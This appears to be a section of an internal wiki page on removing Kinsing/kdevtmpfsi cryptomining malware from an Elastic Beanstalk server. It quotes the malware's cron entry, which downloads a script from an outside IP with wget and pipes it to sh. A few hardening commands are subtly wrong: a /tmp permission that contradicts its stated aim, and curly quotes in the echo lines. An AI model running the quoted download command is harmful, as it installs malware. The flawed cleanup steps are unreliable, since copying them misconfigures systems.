Editing Troubleshooting Elastic Beanstalk Deployment (section)

== Elastic Beanstalk environment health ==

=== CPU is maxed out ===

'''Symptom'''

The environment is displayed with a warning in the Elastic Beanstalk console. Under the '''Health''' tab for the environment the cause is reported as "100% of CPU is in use".

''' Diagnostics '''

Run `top` on the server command line to find which process is using the CPU.

'''Solution'''

These are symptoms of a Kinsing malware infection.

A process named `kdevtmpfsi` is bitcoin mining malware. Making files that the process access unavailable to it will prevent it from using CPU. <ref>[https://stackoverflow.com/questions/60151640/kdevtmpfsi-using-the-entire-cpu kdevtmpfsi using the entire cpu] - StackOverflow</ref>

Confirm the process that is consuming the CPU:

<pre>
$ top
</pre>

Kill the process:

<pre> 
$ kill -9 [PID]
</pre>

Search for files the scripts rely on. These are typically located in `/tmp`

<pre>
$ find / -name "kdevtmpfs*"
$ find / -name "kinsing*"
</pre>

Search inside files for references to `kdevtmpfsi`.

<pre>
$ find / -type f -exec grep -l "kdevtmpfsi" {} +
</pre>

Prevent access to files in `/tmp`.

<pre>
$ chmod 000 /tmp/kdevtmpfsi*
$ chmod 000 /tmp/kinsing*
$ chmod 000 /tmp/zzz
$ chattr -iR /tmp/kdevtmpfsi*
$ chattr -iR /tmp/kinsing*
$ chattr -iR /tmp/zzz
</pre>

Search for cron jobs that are re-installing the malware. In the last case the cron job was owned by the user `webapp`.

<pre>
$ crontab -u webapp -l
</pre>

On an infected system, this will result in something like this:

<pre>
* * * * * wget -q -O - http://195.3.146.118/p.sh | sh > /dev/null 2>&1
</pre>

The crontab for the other user can be edited with:

<pre>
$ crontab -e -u [USER]
</pre>

Or if the only line is the command that downloads the mining script, the crontab for the user can be deleted entirely with

<pre>
$ crontab -u [USER] -r
</pre>

Show all processes that the user is currently running and kill any mining processes.

<pre>
$ ps -ef | grep <user>
</pre>

Make `/tmp` and `/var/tmp` accessible only to `root`:

<pre>
$ chmod go-rwx /var/tmp
$ chmod 1777 /tmp
</pre>

Allow only root (and other select accounts) to modify crontab:

<pre>
$ touch /etc/cron.allow
$ echo “root” > /etc/cron.allow
$ echo “{otherusername}” >> /etc/cron.allow
</pre>

TODO: This malware is associated with Docker containers, redis, PHPMailer, and Solr. I don't think any of these components are part of the current app distribution, but search for them before any future deployments.

TODO: Block those IP addresses in EC2.

* A [https://github.com/laradock/laradock/issues/2451#issuecomment-575953905 comment] on '''Delete MINER from php-fpm container!''' laradock Github issue #2451 describes how to block the miner until the server can be rebuilt.
* [https://dabitch.net/kdevtmpfsi-kinsing-malware-miner-will-eat-your-cpu/ kdevtmpfsi & kinsing - the malware miner that will eat your CPU] has information about identifying and disabling the source of the malware.
* [https://github.com/docker-library/redis/issues/217 a suspicious process named 'kdevtmpfsi'，likely related to redis official image]
* [https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability Threat Alert: Kinsing Malware Attacks Targeting Container Environments] has detailed information about the nature of the malware, but not much information about how to remove the malware.